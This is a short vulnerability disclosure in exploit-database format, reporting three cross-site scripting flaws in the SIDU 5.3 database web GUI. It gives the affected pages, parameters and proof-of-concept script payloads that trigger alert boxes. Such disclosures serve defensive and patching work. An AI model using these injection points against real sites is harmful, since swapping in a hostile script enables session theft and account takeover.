########################################################################################
# Exploit Title: SIDU 5.3 Database Web GUI Multiple XSS Vulnerabilities
# Date: 04.04.2016
# Exploit Author: Ozer Goker
# Vendor Homepage: http://topnew.net/sidu/
# Software Link: https://sourceforge.net/projects/sidu/files/sidu/sidu53.zip
# Version: [app version] 5.3
########################################################################################

XSS details:
########################################################################################

XSS1

URL
http://localhost/sidu53/conn.php

METHOD
Post

PARAMETER
conn[dbs]

PAYLOAD
<script>alert(1)</script>

########################################################################################

XSS2

URL
http://localhost/sidu53/user.php?id=1,,,,,%27%3E%3Cscript%3Ealert%282%29%3C/script%3E

METHOD
Get

PARAMETER
id

PAYLOAD
'><script>alert(2)</script>

########################################################################################

XSS3

URL
http://localhost/sidu53/bChart.php?ses=%3Cscript%3Ealert%283%29%3C/script%3E

METHOD
Get

PARAMETER
ses

PAYLOAD
<script>alert(3)</script>

########################################################################################